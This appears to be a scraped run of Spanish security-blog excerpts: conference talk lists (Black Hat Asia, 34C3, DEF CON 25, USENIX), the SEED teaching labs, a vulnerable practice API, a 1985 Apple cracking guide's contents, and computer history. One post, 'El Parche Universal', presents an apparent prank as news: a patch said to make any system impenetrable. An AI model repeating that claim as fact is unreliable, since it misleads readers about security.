• Mac-A-Mal: An Automated Platform for Mac Malware Hunting
  • Phuc-Mac-A-Mal-An%20Automated%20Framework%20for%20Mac%20Malware%20Hunting.pdf
  • Phuc-Mac-A-Mal-An%20Automated%20Framework%20for%20Mac%20Malware%20Hunting-wp.pdf
• Nation-State Moneymule’s Hunting Season – APT Attacks Targeting Financial Institutions
  • Shen-Nation-State%20Moneymule%20hunting%20season_Thursday%20.pdf
• New Compat Vulnerabilities in Linux Device Drivers
  • Ding-New-Compat-Vulnerabilities-In-Linux-Device-Drivers.pdf
• Prison Break Season 6: Defeating the Mitigations Adopted by Android OEMs
• return-to-csu: A New Method to Bypass 64-bit Linux ASLR
  • Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR.pdf
  • Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
• RustZone: Writing Trusted Applications in Rust
• Securing Your In-Ear-Fitness Coach: Challenges in Hardening Next Generation Wearables
• Server Tailgating - A Chosen-PlainText Attack on RDP
  • Karni-Zinar-Blachman-Server-Tailgating-A-Chosen-Plaintext-Attack-on-RDP.pdf
• Shadow-Box v2: The Practical and Omnipotent Sandbox for ARM
  • Seunghun-Shadow-Box_v2_The_Practical_and_Omnipotent_Sandbox_for_ARM.pdf
• Tales from the NOC: Going Public in Asia
• UbootKit: A Worm Attack for the Bootloader of IoT Devices
  • Yang-UbootKit-A-Worm-Attack-for-the-Bootloader-of-IoT-Devices.pdf
  • Yang-UbootKit-A-Worm-Attack-for-the-Bootloader-of-IoT-Devices-wp.pdf
• VSPMiner: Detecting Security Hazards in SEAndroid Vendor Customizations via Large-Scale Supervised Machine Learning
• When Good Turns Evil: Using Intel SGX to Stealthily Steal Bitcoins
  • Schwarz-When-Good-Turns-Evil-Using-Intel-SGX-To-Stealthily-Steal-Bitcoins.pdf
  • Schwarz-When-Good-Turns-Evil-Using-Intel-SGX-To-Stealthily-Steal-Bitcoins-wp.pdf
• XOM-switch: Hiding Your Code from Advanced Code Reuse Attacks In One Shot
  • Zhang-xom-switch-mingwei-v1.2.pptx

Proyecto SEED

*Proyecto SEED*

El Proyecto SEED tiene como objetivo desarrollar un conjunto de talleres prácticos para la enseñanza y estudio de la seguridad de la información. Este proyecto es principalmente subvencionado por National Science Foundation (NSF) , una organización gubernamental estadounidense creada en 1950.

Actualmente existen más de 30 talleres llamados SEED Labs , organizadoes en seis categorías:

• Software Security Labs - Talleres con vulnerabilides en software más comunes.

• Network Security Labs - Estos están enfocados a la seguridad de redes, ataques TCP/IP, DNS, Firewall, VPN, etc.

• Web Security Labs - Vulnerabilidades más comnunes en aplicaciones web.

• System Security Labs - Nos enseñan a atacar mecasnismos de seguridad a nivel de sistema y hardware. Por ejemplo aquí podemos encontrar dos talleres sobre los recientes Meltdown y Spectre.

• Cryptography Labs - Aquí se cubren conceptos esenciales sobre criptografía.

• Mobile Security Labs - Estos están enfocados a los dispositivos móviles. Para estos talleres se provee de una máquina virtual con Android.

Como Entrenar a tu IA jugando a videojuegos con …

![OpenIA videogames] ( https://cyberhades.ams3.cdn.digitaloceanspaces.com/imagenes/31406720546_7496797da3_o_opt.png )

*OpenAI Games*

Ya os hemos hablado en alguna ocasión de OpenAI y de cómo utiliza videojuegos para entrenar a una IA a resolver problemas. Pues en el blog de LUCA estamos escribiendo una serie de artículos donde explicamos paso a paso desde cómo comenzar a configurar el entorno de OpenAI en Linux hasta nuestra nuestra primera IA capaz de resolver un juego sencillo.

Vídeos Del Chaos Communication Congress 34

*Chaos Communication Congress 34*

Nada mejor que empezar el año con material de primera calidad. El Chaos Communication Congress, como de costumbre a celebrado su cita con el hacking mundial entre el 27 y el 30 de diciembre . Si tienes algo de tiempo libre hasta después de los reyes, aquí tienes dónde entretenerte.

• [Antipatterns und Missverständnisse in der Softwareentwicklung]( https://media.ccc.de/v/34c3-9095-antipatterns_und_missv erstandnisse_in_der_softwareentwicklung)
• Dude, you broke the Future!
• Eröffnung: tuwat
• Die Lauschprogramme der Geheimdienste
• Ladeinfrastruktur für Elektroautos: Ausbau statt Sicherheit
• Social Bots, Fake News und Filterblasen
• QualityLand
• Methodisch inkorrekt!
• The Ultimate Apollo Guidance Computer Talk
• Die fabelhafte Welt des Mobilebankings
• Internet of Fails
• Relativitätstheorie für blutige Anfänger
• Jahresrückblick des CCC 2017
• Security Nightmares 0x12
• Gamified Control?
• Demystifying Network Cards
• Everything you want to know about x86 microcode, but might have been afraid to ask
• Uncovering British spies’ web of sockpuppet social media personas
• Console Security - Switch
• Free Electron Lasers
• hacking disaster
• Beeinflussung durch Künstliche Intelligenz
• Der PC-Wahl-Hack
• All Computers Are Beschlagnahmt
• Inside Intel Management Engine
• Tiger, Drucker und ein Mahnmal
• Hacker Jeopardy
• How to drift with any car
• Doping your Fitbit
• Are all BSDs created equally?
• Ecstasy 10x yellow Twitter 120mg Mdma
• Pointing Fingers at ‘The Media’
• Trügerische Sicherheit
• DPRK Consumer Technology
• Taxation
• Spy vs. Spy: A Modern Study Of Microphone Bugs Operation And Detection
• Unleash your smart-home devices: Vacuum Cleaning Robot Hacking
• 34C3 Abschluss
• Digitale Bildung in der Schule
• Watching the changing Earth
• Coming Soon: Machine-Checked Mathematical Proofs in Everyday Software and Hardware…
• How risky is the software you use?
• cryptocurrencies, smart contracts, etc.: revolutionary tech?
• Der netzpolitische Wetterbericht
• Mietshäusersyndikat: den Immobilienmarkt hacken
• Deep Learning Blindspots
• Die Sprache der Überwacher
• WTFrance
• eMMC hacking, or: how I fixed long-dead Galaxy S3 phones
• LatticeHacks
• Science is broken
• 1-day exploit development for Cisco IOS
• KRACKing WPA2 by Forcing Nonce Reuse
• Intel ME: Myths and reality
• Schreibtisch-Hooligans
• Protecting Your Privacy at the Border
• Tightening the Net in Iran
• Bildung auf dem Weg ins Neuland
• Schnaps Hacking
• Nougatbytes 11₂
• Die göttliche Informatik / The divine Computer Science
• Home Distilling
• iOS kernel exploitation archaeology
• Decoding Contactless (Card) Payments
• Reverse engineering FPGAs
• The Work of Art in the Age of Digital Assassination
• SCADA - Gateway to (s)hell
• Resilienced Kryptographie
• Financial surveillance
• Growing Up Software Development
• How can you trust formally verified software?
• Opening Closed Systems with GlitchKit
• The Snowden Refugees under Surveillance in Hong Kong
• Ein Festival der Demokratie
• Lets break modern binary code obfuscation
• Access To Bodies
• Holography of Wi-Fi radiation
• Designing PCBs with code
• Social Cooling - big data’s unintended side effect
• Forensic Architecture
• Mobile Data Interception from the Interconnection Link
• BGP and the Rule of Custom
• How Alice and Bob meet if they don’t like onions
• Low Cost Non-Invasive Biomedical Imaging
• 0en & 1en auf dem Acker
• BBSs and early Internet access in the 1990ies
• The making of a chip
• Bringing Linux back to server boot ROMs with NERF and Heads
• Es sind die kleinen Dinge im Leben II
• May contain DTraces of FreeBSD
• End-to-end formal ISA verification of RISC-V processors with riscv-formal
• Electromagnetic Threats for Information Security
• BootStomp: On the Security of Bootloaders in Mobile Devices
• Netzpolitik in der Schweiz
• UPSat - the first open source satellite
• Squeezing a key through a carry bit
• Fuck Dutch mass-surveillance: let’s have a referendum!
• Internet censorship in the Catalan referendum
• Robot Music
• Running GSM mobile phone on SDR
• Treibhausgasemissionen einschätzen
• Lobby-Schlacht um die ePrivacy-Verordnung
• Catch me if you can: Internet Activism in Saudi Arabia
• Defeating (Not)Petya’s Cryptography
• Lightning Talks Day 2
• Why Do We Anthropomorphize Computers?…
• A hacker’s guide to Climate Change - What do we know and how do we know it?
• Blinkenrocket!
• Drones of Power: Airborne Wind Energy
• Inside Android’s SafetyNet Attestation: Attack and Defense
• The Noise Protocol Framework
• Briar
• Vintage Computing for Trusted Radiation Measurements and a World Free of Nuclear Weapons
• Saving the World with Space Solar Power
• We should share our secrets
• WHWP
• Privacy Shield - Lipstick on a Pig?
• Humans as software extensions
• Net Neutraliy Enforcement in the EU
• MQA - A clever stealth DRM-Trojan
• The Internet in Cuba: A Story of Community Resilience
• avatar²
• ASLR on the line
• Implementing an LLVM based Dynamic Binary Instrumentation framework
• Policing in the age of data exploitation
• Lightning Talks Day 3
• Practical Mix Network Design
• Regulating Autonomous Weapons
• Open Source Estrogen
• History and implications of DRM
• Lightning Talks Day 4
• Taking a scalpel to QNX
• The seizure of the Iuventa
• SatNOGS: Crowd-sourced satellite operations
• Afro TECH
• Extended DNA Analysis
• Uncovering vulnerabilities in Hoermann BiSecur
• Making Experts Makers and Makers Experts
• Microarchitectural Attacks on Trusted Execution Environments
• Deconstructing a Socialist Lawnmower
• Italy’s surveillance toolbox
• openPower - the current state of commercial openness in CPU development
• Hardening Open Source Development
• This is NOT a proposal about mass surveillance!
• library operating systems
• Think big or care for yourself
• Algorithmic science evaluation and power structure: the discourse on strategic citation…
• Type confusion: discovery, abuse, and protection
• “Nabovarme” opensource heating infrastructure in Christiania
• Visceral Systems
• TrustZone is not enough
• Electroedibles
• Modern key distribution with ClaimChain
• Simulating the future of the global agro-food system
• Zamir Transnational Network und Zagreb Dairy
• Public FPGA based DMA Attacking
• OONI: Let’s Fight Internet Censorship, Together!
• Tracking Transience
• Organisational Structures for Sustainable Free Software Development
• 34C3 Infrastructure Review
• Ensuring Climate Data Remains Public
• Uncertain Concern
• institutions for Resolution Disputes
• Don’t stop ’til you feel it
• International Image Interoperability Framework (IIIF) – Kulturinstitutionen schaffen…
• Closing the loop: Reconnecting social-technologial dynamics to Earth System science
• On the Prospects and Challenges of Weather and Climate Modeling at Convection-Resolving…

El Parche Universal

*NIST - NSA* [NIST](https://www.nist.gov/), el Instiuto Nacional de Estándares y Tecnología de los EEUU ha anunciado el resultado de una investigación llevada a cabo en conjunción con [Telefónica](https://www.telefonica.com). Dicha investigación liderada por Chema Alonso, Pablo González y Fran Ramírez, ha desembocado en uno de los descubrumientos más importantes en ciber seguridad de los últimos tiempos: El Parche Universal.

El Parche Universal encajaría dentro de lo que conocemos como hardening o fortificación de sistemas. Éste, una vez aplicado en tu sistema lo vuelve infalible, impenetrable y los exploits son inútiles.

El Libro Maravilla De Steve Wozniak

*The Woz Wonderbook*

Con la popularización del Apple ][ y su incremento en ventas, una de las cosas que la preocupaba a Steve Job era la pobre calidad de la documentación de dicho ordenador. Durante el verano y otoño de 1977, se recolectaron de los archivos de Steve Wozniak todos sus apuntes para crear un “libro” de documentación interna usado por los ingenieros de Apple. A esta colección de notas, diagramas, código, etc se le bautizó como The Woz Wonderbook. Este cubría el vacío que existía en la documentación oficial del Apple ][.

Tiredful, Una API Vulnerable

*Tiredful API*

Cómo hemos dicho muchas veces, sin hacer no se aprende. Leer es un hábito que todos debemos desarrollar y cultivar, pero cuando hablamos de tecnología, si sólo lees y no pruebas, practicas, rompes, etc, no aprenderás mucho.

Ya hemos publicado algunas entradas ( vulnerable , pentesting , etc) con aplicaciones vulnerables de forma intencionada para el beneficio del que desea practicar y aprender. En este caso os hablamos sobre otra de estas aplicaciones, aunque esta vez es una REST API .

¿Y tú de qué vas? Pablo González

*Pablo Gonález Pérez*

1) ¿Quién eres y a qué te dedicas?

Soy Pablo González (tercera generación xD). Me dedico a los sueños locos que hacemos en el equipo SWAT o miniLab de CDO en Telefónica Digital España . Ahora en serio, me dedico a la difusión tecnológica, a la generación de pruebas de concepto, de estudiar si alguna de estas pruebas pueden pasar a los productos o servicios y, además, si alguna prueba pudiera acabar en una patente. También, doy charlas y talleres sobre cosas que hacemos, que investigamos, ayudamos a la comunicación. En definitiva, formo parte de un equipo que no tiene tiempo de aburrirse y que hacemos de todo. Por cierto, Fran (Cybercaronte) también forma parte de dicho equipo :)

Apple Krackers Guide

*Broken Apple*

Datada el 6 de marzo de 1985, Apple Krackers Guide (PDF) es un documento histórico el que recoge diferentes formas de crackear o romper la protección en programas de Apple, o como se menciona en dicho documento “art of kraking”.

El documento contiene un total 134 páginas divididos en 8 capítulos y 23 apéndices. El documento tiene el siguiente índice:

• Chapter 1. Introduction to kraking.
• Chapter 2. Where to Begin. A discussion on the first steps to kraking protected programs.
• Chapter 3. Minimal Hardware Necessary for Kraking Protected Programs. Disk Jockey.
• Chapter 4. Deprotecting Single Load programs.
• Chapter 5. Modified DOS Protection.
• Chapter 6. Modified RWTS Protection.
• Chapter 7. The Art of Memory Packinq.
• Chapter 8. Protected Applesoft Basic programs.
• Appendix A. Kraking modified ros’ s with COPYB.
• Appendix B. Making a F8 Krak ROM.
• Appendix C. Makinq your own NMI board.
• Appendix D. Practical uses for the NMI/modified ROM hardware.
• Appendix E. RAM card kraking.
• Appendix F. The ReI( card.
• Appendix G. Memory Move writer documentation.
• Appendix H. Disabling Minor Disk Access from Single Load Programs.
• Appendix I. Using COPYB to krak Thief.
• Appendix J. Deprotecting Robotron from Atarisoft.
• Appendix K. Kraking PANDORA’S BOX from Datamost.
• Appendix L. Kraking Jungle Hunt from Atarisoft.
• Appendix M. Kraking Zaxxon from Datasoft.
• Appendix N. Kraking Electronic Arts’ cut and Paste, One on one, and the Last Gladiator.
• Appendix O. Kraking Roundabout from Datamost in a full disk format.
• Appendix P. Kraking Mouskattack from On-Line Systems.
• Appendix Q. Deprotecting Photar from Softape.
• Appendix R. Deprotecting Bug Attack from Cavalier Computer.
• Appendix S. Deportecting Flip out.
• Appendix T. Deprotecting Guardian from Continental Software.
• Appendix U. Kraking Mating Zone from Datamost: an example of defeating minor disk access from a single load program.
• Appendix v. Kraking Crime Wave from Penguin Software.
• Appendix W. Krakinq Roundabout into a single file: Using a memory packer.
• The Annotated Mr. Xerox.
• Regarding Tiger Teams Off the record comment on Apple piracy.

En el capítulo de introducción, el autor recomienda encarecidamente la lectura de [Don Worth's "Beneath Apple DOS" (PDF)](http://www.classiccmp.org/cini/pdf/Apple/Beneath%20Apple%20DOS.pdf) y del estudio en profundidad del capítulo 3 *The System Monitor* (núcleo del sistema) del [Apple\]\[ Reference Manual (PDF)](http://www.classiccmp.org/cini/pdf/Apple/Apple%20II%20Reference%20Manual%20-%20Woz.pdf) y por supuesto aprender el [ensamblador del 6502](https://en.wikibooks.org/wiki/6502_Assembly).

Este documento tuvo que ser una joya en su época, al menos lo es para los que nos gustan la historia y anécdotas menos conocidas de la informática :)

HackSpace, Tu Revista Gratuita Sobre Hackerspaces

*HackSpace Número 1* [HackSpace](https://hackspace.raspberrypi.org), una nueva revista gratuita en formato electrónico o de pago (en papel) que pretende promover la culura de los espacios para *"hackers"*, o más conocidos como *hackerspaces*.

Más allá de la revista en sí, HackSpace quiere formar una comunidad a nivel mundial entorno a este concepto, donde se compartan ideas, proyectos, creación de hackerspaces, etc. El dinero que se recaude a través de HackSpace, será donado a la Fundación Raspberry Pi.

OWASP Top 10 - 2017

*OWASP Top 10*

Después de versiones previas , ya ha sido publicada la versión final del OWASP Top 10 de este año 2017. Un documento que recopila las 10 vulnerabilidades más críticas en aplicaciones web.

Este año se han colado tres tipos nuevos de amenazas: XXE, Deserialización insegura y falta de monitorización y registros. La primera basado en datos reales, y las dos últimas por votación de la comunidad.

Introducción a la Organización del Ordenador …

*Subsistema del Ordenador*

[Introduction to Computer OrganizationARM Assembly Language Using the Raspberry Pi] ( http://bob.cs.sonoma.edu/IntroCompOrg-RPi/frontmatter-1.html ) es un libro electrónico y gratuito que nos enseña cómo funciona el hardware, a bajo nivel, de un ordenador desde el punto de vista del programador.

Para ello, se basa en uno de nuestros “juguetes” favoritos: Raspberry Pi, con Raspbian y usando lenguaje ensamblador para la arquitectura de la CPU de dicho dispositivo: ARM.

Vídeos DEF CON 25

*DEF CON 25*

Aunque no son todos los vídeos de la DEF CON 25 , ya hay bastantes disponibles. Aquí tenéis una lista organizada en varias secciones:

Main Track 1

• Cheng - The spear to break the security wall of S7CommPlus
• Christopher Domas - Breaking the x86 Instruction Set
• Damien Cauquil - Weaponizing the BBC Micro Bit
• Dennis Maldonado - Real time RFID Cloning in the Field
• Daniel Bohannon, Lee Holmes - Revoke Obfuscation: PowerShell Obfuscation
• Duncan Woodbury, Nicholas Haltmeyer - Linux Stack Based V2X Framework
• Dor Azouri - BITSInject
• Dimitry Snezhkov - Abusing Webhooks for Command and Control
• Gerald Steere, Sean Metcalf - Hacking the Cloud
• Gabriel Ryan - The Black Art of Wireless Post Exploitation
• Hanno Bõck - Abusing Certificate Transparency Logs
• Gil Cohen - Call the plumber: You have a leak in your named pipe
• Hyrum Anderson - Evading next gen AV using AI
• Itzik Kotler, Amit Klein - The Adventures of AV and the Leaky Sandbox
• Ilja van Sprundel - Are all BSDs are created equally? A survey of BSD kerne
• Jeff Moss and Panel - DEF CON Groups Panel
• Jason Haddix - Introducing HUNT Data Driven Web Hacking & Manual Testing
• Joe Rozner - Wiping out CSRF
• JoSh Pitts - Teaching Old Shellcode New Tricks
• K2 - UnFucking Forensics: Active Passive memory hacking debugging
• Luke Young - There’s no place like 127.001: Achieving reliable DNS rebinding
• Lee Holmes - Get $pwnd: Attacking Battle Hardened Windows Server
• Marina Simakov, Igal Gofman - Gaining persistency by abusing advanced authe
• Marc Newlin, Logan Lamb, Chris Grayson - CableTap: Wirelessly Tapping Home Networks
• Matt Knight - Radio Exploitation 101
• Matt Joyce - Amateur Digital Archeology
• Morten Schenk - Taking Windows 10 Kernel Exploitation to the next level
• Min Zheng, Xiangyu Liu - macOS:iOS Kernel Debugging and Heap Feng Shui
• Mikhail Sosonkin - Hacking travel routers like it’s 1999
• Nick Cano - XenoScan Scanning Memory Like a Boss
• Nathan Seidle -Open Source Safe Cracking Robots: Combinations Under 1 Hour
• Redezem - PEIMA Using Power Laws to address Denial of Service Attacks
• Professor Plum - Digital Vengeance Exploiting the Most Notorious C&C Toolki
• Philip Tully, Michael T Raggo - A Picture is Worth a Thousand Words, Literally
• Saif El Sherei - Demystifying Windows Kernel Exploitation by Abusing GDI Objects
• Ryan Baxendale - Microservices and FaaS for Offensive Security
• Romain Coltel, Yves Le Provost - WSUSpendu: How to hang WSUS clients
• Sean Dillon, Zach Harding - Koadic C: Windows COM Command & Control Framework
• Scott Behrens, Jeremy Heffner - Application DoS In Microservice Architectures
• Salvador Mendoza - Exploiting 0ld Mag stripe information with New technology
• spaceB0x - Exploiting Continuous Integration (CI) and Automated Build systems
• Trey Forgety - Inside the “Meet Desai” Attack Defending Distributed Targets
• Tomer Cohen - Game of Chromes: Owning the Web with Zombie Chrome Extensions
• Thomas Mathew, Dhia Mahjoub - Malicious CDNs
• DEF CON 25 -The Dark Tangent, Def Con Goons - DEF CON Closing Ceremonies
• The Dark Tangent - Welcome to DEF CON 25
• Alvaro Muñoz, Alexandr Mirosh - Friday the 13th JSON attacks
• Avi Bashan, Slava Makkaveev - Everything to know about Android packers
• William Knowles - Persisting with Microsoft Office Abusing Extensibility Options
• XlogicX - Assembly Language is Too High Level
• Artem Kondratenko - Cisco Catalyst Exploitation
• Josh Schwartz, John Cramb - MEATPISTOL, A Modular Malware Implant Framework
• Andy Robbins, Will Schroeder - Designing Active Directory DACL Backdoors

Packet Hacking Village

• Chris Wysopal - How Hackers Changed the Security Industry
• Catherine Ullman, Chris Roberts - Breaking the Bad News

AFK2

• HighWiz, Malware Unicorn, Niki7a, Roamer, Wiseacre, Shaggy - DEF CON 101 Panel
• Inbar Raz, Eden Schochat - From One Country, One Floppy to Startup Nation
• Jason Hernandez, Sam Richards, Jerod MacDonald-Evoy - Tracking Spies in the Skies
• John Sotos - Genetic Diseases to Guide Digital Hacks of the Human Genome
• Matt Wixey - See no evil, hear no evil: Hacking invisibly & silently with light & sound
• Octane - Untrustworthy Hardware and How to Fix It
• Snide Owen - Phone system testing and other fun tricks
• Whitney Merrill, Terrell McSweeny - Tick, Tick, Tick Boom You’re Dead: Tech & the FTC
• Jason Staggs - Breaking Wind: Adventures Hacking Wind Farm Control Networks

Biohacking Village

• Stanislav Naydin, Vlad Gostomelsky - Medical Device Ethics
• Amanda Plimpton, Evan Anderson - Psychoactive Chemicals in Combat
• Christopher Frenz - Standardizing Deployment Of Medical Devices
• Kevin Sacco - Tales of A Healthcare Hacker
• Szkatulski Lawless - How Your Doctor Might Be Trying To Kill You
• Trevor Goodman - Hack Your Senses: Sensory Augementation
• Travis Lawrence - Hacking the Second Genetic Code
• Tim Cannon - The Moral Imperative of Biohacking
• Tess Schrodinger - Total Recall: Implicit Learning As Crypto
• Ryan Schmoll, Peter Hefley - Trigraph: Ethereum-based Teleradiology
• Robin Farmanfarmaian - The Patient as CEO
• RenderMan - Hacking The Internet of Dongs
• Paul Ashley - The Future is Fake Identities
• Meow Ludo Meow Meow - DIYBioweapons and Regulation
• Louis Auguste Jr - Microscopes Are Stupid
• Jun Axup - The Brave New World of Bio Entrepreneurship
• John Bass - Medical Industry Disrupt: Blockchain
• Jeffrey Tibbetts - Biohackers Die
• Jay Radcliffe - The Scientific Method in Security Research
• Gingerbread - Neurogenic Peptides Smart Drugs 4 Minute Mile
• Edward You - Biotechnology Needs A Security Patch Badly
• Amirs Panel - Ethics in BioHacking
• C00p3r, Cur50r - Implantable Technology Show and Tell

Mobile

• Yuwue Zheng, Lin Huang - Ghost Telephonist Impersonates You Through LTE CSF
• David Robinson - Using GPS Spoofing to control time
• Haoqi Shan, Jian Yuan - Man in the NFC
• Chaosdata - Ghost in the Droid: Possessing Android Applications with ParaSpectre

R00tz

• Tarah - How To Explain Crypto To Practically Anyone
• Rsnake Robert Hansen - Searching The Invisible Internet
• Patrick McCanna - Tips for Internet Privacy at College
• Leonard Bailey - Everything You Need To Know About The US Dept of Justice
• Erin Owens - Drone Wars
• Erin Owens - Hacking & Robotics v2 point 0
• EFF, Nic0 - Opening Ceremonies:A Place Where Kids Learn White Hat Hacking
• Deviant - Home Depot and A Plan of Attack for Hackers
• David Weinman - Introduction To Cheat Engine
• Cory Doctorow - You are not a Digital Native and that’s OK
• Corban Villa - Arm Mounted Weaponized Platform and Anime Viewer
• Aron Rosenberg, Aaron Standridge - Hacking an Insecure WiFi Camera
• Alex Stamos, CSO Facebook - Keynote

Cryptocurrency

• Matt Suiche - Porosity A Decompiler For Blockchain Based Smart Contracts Bytecode
• Josh Datko, Chris Quartier - Breaking Bitcoin Hardware Wallets
• Konstantinos Karagiannis - Hacking Smart Contracts

Recon Village

• Tyler Rorabaugh - DFIR Automation Orchestration Tools For OSINT Recon
• Tracy Maleeff - Into the Bird’s Nest: A Comprehensive Look at Twitter
• Winner Announcement Prize Distribution
• Simon Roses - OSINT Tactics on Source Code and Developers
• Shane MacDougal - Keynote: Seeing is Believing The Future of Recon
• Mikhail Sasonkin - Up Close and Personal: Keeping an Eye On Mobile
• Leah Figueroa - FERPA: Only Grades Are Safe; OSINT In Higher Education
• Kunal Aggarwal - DataSploit Open Source Assistant for OSINT
• Jason Haddix - Domain Discovery:Expanding Your Scope Like A Boss
• Inbar Raz - Do Tinder Bots Dream of Electric Toys
• Guillermo Buendia, Yael Esquivel - How To Obtain 100 Facebooks a Day
• Dakota Nelson -Total Recoll
• Anthony Russell - Building Google For Criminal Enterprises
• Andrew Hay - An Introduction to Graph Theory for OSINT
• Abhijeth Dugginapeddi - Recon and Bug Bounties What A Great Love Story

Car Hacking Village

• Corey Theun - Heavy Truck and Electronic Logging Devices
• Weston Hecker - Grand Theft Radio Stopping SDR Relay Attacks
• Vlad Gostomelsky - GPS System Integrity
• Tim b1tbane, Mitch Johnson, ehntoo - That’s No Car Its a Network
• Sheila Ayelen Berta, Claudio Caracciolo - The Bicho
• Sameer Dixit, Vlad Gostomelsky - Abusing Smart Cars with QR Codes
• Montalbano, Gillispie, Connett - Attacking Wireless Interfaces
• Jeffrey Quesnelle - An Introduction to AUTOSAR Secure Onboard
• Woodbury, Haltmeyer - Linux Stack Based V2X Framework
• Badge Life: DEFCON Unofficial Badges Panel
• Mickey Shkatov, Jesse Michael, Oleksandr Bazhaniuk - Driving down the rabbit hole

AFK

• Rhett Greenhagen - Skip Tracing For Fun and Profit
• J0n J4rv1s - Surveillance Capitalism Will Continue til Morale Improves
• [Deleted video]
• Gus Fritschie, Evan Teitelman - Backdooring the Lottery and Other Security Tales
• Svea Eckert, Andreas Dewes - Dark Data
• Yan Shoshitaishvili - 25 Years of Program Analysis
• Chris Sumner - Rage Against the Weaponized AI Propaganda Machine
• Ryan Lackey - Cypherpunks History
• Kevin Sacco - Tales of A Healthcare Hacker

Wifi Village

• Aardvark, Darkmatter - WIGLE Like You Mean It Maximizing Your Wardriving
• Woody, Tim Kuester - GODUMPiNG packet sniffing the Gotenna
• Vivek Ramachandran, Nishant Sharma, Ashish Bhangale- Deceptacon
• Robert Ghilduta - Designing An Automatic Gain Control
• Nick Delewski - Failsafe: Yet Another SimpliSafe Attack Vector
• Matt Blaze - Sigint for the rest of us
• Eric Escobar - SecureWorks: SDR Replay Attacks On Home Security Systems
• Balint Seeber - Hacking Some More of the Wireless World
• Andrew Strutt - Suitcase Repeater Build for UHF 70cm
• Andrew Strutt - POCSAG Amateur Pager Network
• Alexander Zakarov - Large Scale Wireless Monitoring: KISMET Packet Sniffer

Voting Village

• Jake Braun - Securing the Election Office A Local Response
• Joseph Hall, David Jefferson - Common Misconceptions and False Parallels
• Matt Blaze - How did we get here? A history of voting technology
• Mary Brady, Josh Franklin - The State of US Voting System Security
• Joseph Hall - Election Hacking: Legal Considerations from the Civil Side
• Harri Hursti - Brief history of election machine hacking
• General Douglas Lute - National Security Implications of Voting Attacks
• Barbara Simons, David Jefferson - Election Systems: More Than the Booth

SE Village

• Billy Boatright - Nor Lose The Common Touch
• Fahey Owens - Beyond Phishing – Building & Sustaining a Corporate SE Program
• Robert Wood - Thematic Social Engineering
• Yaiza Rubio, Félix Brezo - Heavy Diving For Credentials
• Tyler Rosonke - Social Engineering With Web Analytics
• Jayson Street - Strategies on Securing Your Banks and Enterprises
• Helen Thackray - Hackers Gonna Hack , But Do They Know Why?
• Chris Hadnagy - SE vs Predator: Using SE In Ways I Never Thought
• Brent White, Tim Roberts - Skills For A Red Teamer
• John Nye -The Human Factor Why Are We So Bad at Security
• Michele Fincher - Are You Killing Your Security Program?
• Keith Conway, Cameron Craig - Change Agents How to Affect Corp. Culture

ICS Village

• Arnaud Soullié - Fun with Modbus 0x5a Nothing New Still Relevant?
• DEF CON 25 ICS Village Blake Johnson Dissecting Industrial Wireless Implementations
• Bryson Bort, Atlas - Grid Insecurity and How to Really Fix This Shit
• Chris Sistrunk - What’s the DFIRence for ICS
• Joe Weiss - Cyber Security Issues with Level 0 through 1 Devices
• Thomas Brandsetter - InSecurity in Building Automation

Privacy

• Cooper Quintin, Kashmir Hill - The Internet Already Knows I’m Pregnant
• Jim Nitterauer - DNS: Devious Name Services Destroying Privacy & Anonymity w/o consent
• Peyton Engel - Learning about Government Surveillance Software
• Roger Dingledine - Next Generation Tor Onion Services
• Richard Thieme - When Privacy Goes Poof! Why It’s Gone and Never Coming Back
• Tess Schrodinger - Total Recall Implanting Passwords in Cognitive Memory
• Weston Hecker - Opt Out or Deauth Trying! AntiTracking Bots & Keystroke Injection

IoT

• Steinthor Bjarnason, Jason Jones - The call is coming from inside the house
• Sarah Zatko - CITL and the Digital Standard: A Year Later
• Zenofex, 0x00string, CJ 000, Maximus64 - All Your Things Are Belong To Us
• Francis Brown, David Latimer - Putting the Emerging Drone Defense Market to the Test
• Andrew Tierney, Ken Munro - IoT From DVRs to Dildos
• Alex Jay Balan - IoT: The Gift That Keeps on Giving
• Aaron Guzman - Hide Yo Keys, Hide Yo Car
• Aaron Alva, Mark Eichorn - IoT Updates to Help Protect Consumers
• Deral Heiland - The Internet of Vulnerabilities
• Dan Regalado - Inside the Alaris Infusion Pump, not too much medicine, plz
• Brian Knopf - Redesigning PKI For IoT Because Crypto is Hard
• Vladimir Dashchenko, Sergey Temnikov - Pwning the Industrial IoT
• Vivek Ramachandran, Nishant Sharma, Ashish Bhangale - IIDS: IDS FOR IOT
• Rick Ramgattie - Rethinking the Researcher-Vendor Relationshipe
• Caleb Madrigal - Controlling IoT devices with crafted radio signals

Ni Apple ni IBM, el primer ordenador personal se …

*Datapoint 2200*

En 1968, mientras Steve Jobs y Steve Wozniak aún estaban en el instituto, dos tejanos llamados Phil Ray y Gus Roche estaban decidiendo si montar un restaurante Tex-Mex o una empresa de ordenadores. Afortunadamente se decidieron por la segunda opción, ya que ambos eran ingenieros electrónicos que habían trabajado para la NASA, y la electrónica se les daba un poco mejor que la comida mejicana. Entonces el 6 de Julio de 1968 nació CTC, Computer Terminal Corp. La nueva empresa estaría enfocada principalmente a crear terminales de teletipos (dispositivos mecánicos que se conectaban con mainframes básicamente para programar) compatibles con otros modelos más costosos. El diseño era otro factor importante aparte del precio, que CTC tenía entre sus planes, ya que querían crear sus nuevos dispositivos de un tamaño aceptable, que pudiera estar encima de una mesa de escritorio con la pantalla y el teclado integrados (los teletipos de la época eran bastante grandes, difíciles de manipular y además la salida de datos era directamente en papel).

Vídeos De Usenix 17

*USENIX 17*

Además del material de USENIX 17 , ya están disponibles también los vídeos de las charlas.

Aquí tenéis la lista completa:

• Opening Remarks and Awards
• When Your Threat Model Is “Everything”: Defensive Security in Modern Newsrooms
• How Double-Fetch Situations turn into Double-Fetch Vulnerabilities…
• Postmortem Program Analysis with Hardware-Enhanced Post-Crash Artifacts
• Ninja: Towards Transparent Tracing and Debugging on ARM
• Prime+Abort: A Timer-Free High-Precision L3 Cache Attack using Intel TSX
• On the effectiveness of mitigations against floating-point timing channels
• Constant-Time Callees with Variable-Time Callers
• Neural Nets Can Learn Function Type Signatures From Binaries
• CAn’t Touch This…
• Efficient Protection of Path-Sensitive Control Security
• Digtool: A Virtualization-Based Framework for Detecting Kernel Vulnerabilities
• kAFL: Hardware-Assisted Feedback Fuzzing for OS Kernels
• Venerable Variadic Vulnerabilities Vanquished
• Towards Practical Tools for Side Channel Aware Software Engineering…
